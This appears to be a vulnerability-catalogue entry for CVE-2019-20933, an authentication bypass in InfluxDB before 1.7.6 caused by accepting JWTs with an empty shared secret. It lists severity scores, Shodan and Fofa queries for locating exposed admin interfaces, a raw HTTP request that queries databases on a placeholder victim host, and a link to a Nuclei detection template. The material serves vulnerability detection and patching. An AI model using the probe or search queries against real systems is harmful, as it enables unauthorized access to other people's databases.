| Title | InfluxDB <1.7.6 - Authentication Bypass |
|---|---|
| Author | pussycat0x,c-sh0 |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the InfluxDB database. |
| Remediation | Update Influxdb to version 1.7.6~rc0-1 or higher. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93968 |
| CVE ID | CVE-2019-20933 |
| CWE ID | CWE-287 |
| Shodan Query | InfluxDBhttp.title:"influxdb - admin interface"influxdb |
| Fofa Query | title="influxdb - admin interface" |
| Tags | cve cve2019 unauth db influxdb misconfig influxdata vkev vuln |
InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /query?db=db&q=SHOW%20DATABASES HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-20933.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-20933.pcap
N/AN/A